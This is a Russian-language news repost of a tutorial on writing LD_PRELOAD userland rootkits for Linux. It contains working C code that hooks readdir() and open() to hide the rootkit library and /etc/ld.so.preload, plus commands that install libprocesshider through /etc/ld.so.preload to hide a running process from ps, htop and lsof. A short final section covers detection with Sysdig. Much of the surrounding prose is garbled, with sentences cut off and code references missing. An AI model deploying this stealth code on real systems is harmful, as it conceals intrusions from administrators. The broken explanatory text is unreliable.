Категория > Новости > Операция «Предзагрузка». Создаем userland-руткиты в Linux с помощью LD_PRELOAD - «Новости»
Операция «Предзагрузка». Создаем userland-руткиты в Linux с помощью LD_PRELOAD - «Новости»8-01-2021, 00:00. Автор: Клавдий |
Каждый раз при вызове Так происходит потому, что динамический компоновщик внутри использует функцию По умолчанию в качестве первого аргумента для Отредактируем
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
// Вызов orig_readdir() для получения каталога
struct dirent *ep = orig_readdir(dirp);
while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
ep = orig_readdir(dirp);
return ep;
}
В цикле проверяется, не NULL ли значение директории, затем вызывается Теперь давай посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:
Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении Теперь, когда мы понимаем, как работает Попробуем сделать так, чтобы утилита ls, когда выводит список файлов, пропускала руткит. Скрываем файл из листинга lsБольшинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:
Получается, ls динамически скомпилирована с использованием функций библиотеки
Очевидно, что при выполнении команды без аргументов ls использует системные вызовы Здесь мы уже переходим к написанию простого руткита без нагрузки. Все, что он будет делать, — это прятать сам себя от глаз администратора системы. Я создал директорию
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
Компилируем и проверяем работу:
Нам удалось скрыть файл Используем /etc/ld.so.preloadДавай воспользуемся записью в
Теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но опытный администратор довольно легко нас обнаружит, так как само по себе наличие файла Скрываем ld.so.preloadДавай попытаемся скрыть из листинга и сам файл
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
Для наглядности я добавил к предыдущей программе еще один макрос После компиляции исходный файл
Здорово! Мы только что стали на один шаг ближе к полной конспирации. Вроде бы это победа, но не спеши радоваться. Погружаемся глубжеДавай проверим, сможем ли мы прочитать файл
Так-так-так. Получается, мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло? Очевидно, что для получения содержимого утилита cat вызывает другую функцию — не
На этот раз нам нужно поработать с функцией Снова модифицируем
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX];
if(!o_open)
o_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, LD_PATH) == 0)
{
errno = ENOENT;
return -1;
}
return o_open(path, oflag);
}
Здесь мы добавили кусок кода, который делает то же самое, что и с
Так гораздо лучше, но это еще далеко не все варианты обнаружения Мы до сих пор можем без проблем удалить файл, переместить его со сменой названия (и тогда ls снова его увидит), поменять ему права без уведомления об ошибке. Даже bash услужливо продолжит его имя при нажатии на Tab. В хороших руткитах, эксплуатирующих лазейку с
Разбирать подмену каждой из них мы, конечно же, не будем. Можешь в качестве примера перехвата перечисленных функций посмотреть руткит cub3 — там все те же Скрываем процесс с помощью LD_PRELOADПри работе руткиту нужно как-то скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top. Мы уже довольно детально разобрались, как работает переопределение функций Чтение и запись в procfs реализованы так же, как и в обычной файловой системе. То есть, как ты можешь догадаться, наш опыт с libprocesshiderКак скрыть активность из мониторинга, предлагаю рассмотреть на хорошем примере libprocesshider, который разработал Джанлука Борелло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обнаружения руткитов Давай скопируем код с GitHub и разберемся, что к чему:
В описании к $ gcc -Wall -fPIC -shared -olibprocesshider.so processhider.c -ldl$ sudo mv libprocesshider.so /usr/local/lib/ Теперь давай посмотрим, каким образом ps получает информацию о процессах. Для этого запустим ltrace:
Информацию о процессе получаем при помощи функции
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
static struct direct *ent;
char *restrict const path = PT->path;
for (;;) {
ent = readdir(PT->procfs);
if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
}
p->tgid = strtoul(ent->d_name, NULL, 10);
p->tid = p->tgid;
memcpy(path, "/proc/", 6);
strcpy(path+6, ent->d_name);
return 1;
}
Из этого кода понятно, что PID процессов получают, вызывая
...
while(1)
{
dir = original_##readdir(dirp);
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
...
Причем само имя процесса Проверим наши догадки. Для этого запустим предлагаемый
evil_script.py в списке процессов htop Проверим вывод ps и lsof для обнаружения сетевой активности:
Теперь посмотрим, существует ли директория с PID процесса
Все предсказуемо. Теперь самое время добавить библиотеку
# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Проверяем директорию
Результат налицо. Теперь в
Подытожим. В первой части статьи мы изучили методы перехвата функций и их изменение, что позволяет скрывать руткиты. А дальше проделали то же самое для скрытия процессов от стандартных утилит мониторинга. Как ты догадываешься, простые руткиты, несмотря на все хитрости, поддаются детекту. Например, при помощи разных манипуляций с файлом Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, ldd молчит, а подозрения на сетевую или иную активность все же есть? Sysdig как решениеВ отличие от стандартных инструментов, утилита Sysdig устроена по-другому. По архитектуре она близка к таким продуктам, как libcap, tcpdump и Wireshark. Специальный драйвер sysdig-probe перехватывает системные события на уровне ядра, после чего активируется функция ядра Давай посмотрим, как с помощью Sysdig найти
Можно посмотреть выполнение ps. Бонусом Sysdig покажет, что динамический компоновщик загружал пользовательскую библиотеку
Схожие функции предоставляют утилиты SystemTap, DTrace и его свежая полноценная замена — BpfTrace. Дополнительная литература
wwwПроекты на GitHub:
Перейти обратно к новости |